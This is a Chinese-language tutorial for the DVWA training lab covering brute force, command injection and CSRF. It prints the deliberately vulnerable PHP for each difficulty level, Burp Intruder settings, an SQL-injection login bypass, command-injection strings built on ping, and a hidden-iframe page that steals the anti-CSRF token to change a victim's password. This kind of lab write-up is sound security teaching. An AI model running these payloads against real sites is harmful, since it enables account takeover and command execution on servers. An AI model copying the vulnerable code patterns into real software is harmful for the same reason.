DVWA操作手册(一)爆破,命令注入,CSRF

一、 DVWA 部署

phpstudy+mysql
配置完成可直接访问IP:80

二、DVWA使用手册

2.1 Brute Force(爆破)

2.1.1 low难度

low
一个简易登录界面

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
    mysql_close();
}
?> 

服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。

在这里插入图片描述长度判断
输入后,login抓包,send to Intruder。选择password的值为payload positions;payload Options导入自己的爆破字典,进行爆破。
分析响应的长度,明显密码就是password。

方法二:可通过sql注入方式直接绕过 admin’ or ‘1’ ='1

在这里插入图片描述

2.1.2 Medium难度

与前者的区别时过滤了万能密码中的特殊字符,故只能进行Burp 爆破
同时由于增加了sleep(2)的原因,爆破速度会比较慢
在这里插入图片描述

2.1.3 high难度
  1. 将登录请求进行拦截,发现增加了user_token参数,所以爆破要选择两个参数来进行,先将请求发送到intruder。
    在这里插入图片描述

  2. 设置两个参数 password和user_token为变量,攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。
    在这里插入图片描述

3.设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always

在这里插入图片描述在这里插入图片描述

  1. 然后设置payload,第一个参数设置不在赘述,第二个参数选择Recursive grep,然后将options中的token作为第一次请求的初始值。
    在这里插入图片描述

  2. 点击start attack攻击爆破,结果成功爆破,如下图所示
    在这里插入图片描述

  3. 查看 High级别的源码,看以看出做了CSRF防御,但是并未做限制频次或锁定账号机制,所以增加了爆破难度,但是依然可以爆破。

<?php 
 
if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 
    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 
        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( rand( 0, 3 ) ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?> 

2.2 Command Injection 命令注入

2.2.1 low等级

服务器端代码:

<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
?> 

相关函数:
stristr(string,search,before_search)
在一串字符串中搜索某一字符串第一次出现的位置,返回字符串剩余部分,未找到就返回FALSE。
php_uname(mode)
返回运行php的操作系统的相关描述。参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

综上判断,服务器只通过判断操作系统执行不同ping命令,但对ip参数未作任何限制,导致严重的命令注入漏洞。
例如:
127.0.0.1|dir
127.0.0.1&&cat /www

2.2.2 Medium难度

服务端核心代码:

<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
    // Set blacklist 
    $substitutions = array( 
        '&&' => '', 
        ';'  => '', 
    ); 
    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
?>

可以看见只对&&,; 做了过滤,采用的是黑名单机制,所以依旧存在安全问题。
127.0.0.1|mkdir 1
127.0.0.1|ls
在这里插入图片描述

2.2.3 high难度

服务器端核心代码:

<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = trim($_REQUEST[ 'ip' ]); 
    // Set blacklist 
    $substitutions = array( 
        '&'  => '', 
        ';'  => '', 
        '|  ' => '', 
        '-'  => '', 
        '$'  => '', 
        '('  => '', 
        ')'  => '', 
        '`'  => '', 
        '||' => '', 
    ); 
    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
?> 

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。
127.0.0.1 |ls在这里插入图片描述

2.2.4 impossible

查看客户端源码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit)把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
is_numeric(string)检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

2.3 CSRF

2.3.1 low难度

服务端核心代码:

<?php 
if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 
    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 
        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 
    mysql_close(); 
} 
?>

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。
构造链接:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
当受害者点击了这个链接,他的密码就会被改成password

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

2.3.2 Medium难度

服务器端核心代码:

<?php 
if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 
    mysql_close(); 
} 
?> 

相关函数:
eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1),希望通过这种机制抵御CSRF攻击。
在这里插入图片描述过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.88.224)
我们可以将攻击页面命名为192.168.88.224.html(页面被放置在攻击者的服务器里)就可以绕过了。
(也就是把我们的文件名改成原先的Host以及name)

2.3.3 high难度

服务端核心源码:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 
    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 
        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 
    mysql_close(); 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?> 

High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.88.224中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。


版权声明:本文为qq_41945550原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。